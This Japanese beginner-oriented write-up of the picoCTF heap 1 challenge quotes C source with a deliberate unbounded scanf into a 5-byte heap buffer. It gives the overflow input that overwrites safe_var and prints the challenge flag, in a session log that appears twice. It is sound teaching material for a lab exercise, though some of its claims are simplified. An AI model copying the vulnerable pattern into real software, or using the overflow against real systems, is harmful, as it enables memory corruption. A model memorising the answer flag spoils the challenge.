記事説明
CTF初めて1週間の主がPicoCTFのEasyをbeginnerむけに書いている記事です。CTFのwriteupではCTF常識が前提になっている記事が多く無知すぎてよくわからなかったので書くことにしました。至らぬところ等あると思いますのでご指摘いただけると嬉しいです。 #picoCTFbeginner※補足
heap 0 も同じ内容です。
heap 0 picoCTF writeup for beginner
事前知識
バッファ:データを一時的に保存するためのメモリ領域
バッファオーバーフロー攻撃:バッファの容量を超えてデータを書き込むこと。
例えば、10文字しか格納できないバッファに20文字を書き込むと、超過した10文字分が隣接するメモリ領域に上書きされてしまいます。
C言語など低レイヤーのメモリ管理が行える言語でのみ発生し、静的プログラミングコード分析で対策が行えます。
flag獲得条件
chall.c
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
!strcmp(safe_var, "pico")がfalseになるとき。
つまり、safe_var="pico"になるとき。
コード概要
chall.c
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
//--中略--
void init() {
printf("\nWelcome to heap1!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
print_heap()
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x56b6d88002b0 -> pico
+-------------+----------------+
[*] 0x56b6d88002d0 -> bico
+-------------+----------------+
関数解説
printf("[*] %p -> %s\n", input_data, input_data)
print関数。文字列を表示する。 %pはメモリ保存場所、%sはメモリ保存内容。 今回の場合、input_dataはメモリの「 0x56b6d88002b」という場所に「pico」という値で入っているということ。input_data = malloc(INPUT_DATA_SIZE);
特定の値をメモリ領域に割り当てるもの。 今回の場合、input_dataに5Biteメモリ領域を割りあてている。safe_varの変更方法
input_dataとsafe_varの位置関係
input_dataは0x56b6d88002b0に safe_varは0x56b6d88002d0という場所に保存されている。 これらは16進数であるため、それぞれの場所を把握するために計算することができる。 0x56b6d88002b0 - 0x56b6d88002d0 = 0x000000000020 このことからinput_dataの開始位置の32バイト先からsafe_varが始まることがわかる。1bite=1文字のため、下記のような状況が推察できる。メモリアドレス | データ | 説明 |
---|---|---|
0x56b6d88002b0 | 'p' | input_data の先頭 |
0x56b6d88002b1 | 'i' | |
0x56b6d88002b2 | 'c' | |
0x56b6d88002b3 | 'o' | |
0x56b6d88002b4 | '\0' (ヌル文字) | 文字列の終端 |
0x56b6d88002b5~2cf | input_dataとsafe_varの間の領域(27bite) | |
0x56b6d88002d0 | 'b' | safe_var の先頭 |
0x56b6d88002d1 | 'i' | |
0x56b6d88002d2 | 'c' | |
0x56b6d88002d3 | 'o' | |
0x56b6d88002d4 | '\0' (ヌル文字) | 文字列の終端 |
input_dataからバッファオーバーフロー
input_dataの入力上限が設けられていないため、input_dataに「32文字+pico」を入力すると、safe_varをpicoにすることができる。例)input_data = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApicoのとき
メモリアドレス | データ | 説明 |
---|---|---|
0x56b6d88002b0 | 'A' | input_data の先頭 |
0x56b6d88002b1 | 'A' | |
0x56b6d88002b2 | 'A' | |
0x56b6d88002b3 | 'A' | |
0x56b6d88002b4 | 'A' | 文字列の終端は入力最後に追加される。 |
0x56b6d88002b5~2cf | 'A' | input_dataとsafe_varの間の領域(27bite) |
0x56b6d88002d0 | 'p' | safe_var の先頭 |
0x56b6d88002d1 | 'i' | |
0x56b6d88002d2 | 'c' | |
0x56b6d88002d3 | 'o' | |
0x56b6d88002d4 | '\0' (ヌル文字) | 文字列の終端 |
答え
cmd
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x589b4d92d2b0 -> pico
+-------------+----------------+
[*] 0x589b4d92d2d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = pico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang_c588b8a1}
cmd
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x589b4d92d2b0 -> pico
+-------------+----------------+
[*] 0x589b4d92d2d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = pico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang_c588b8a1}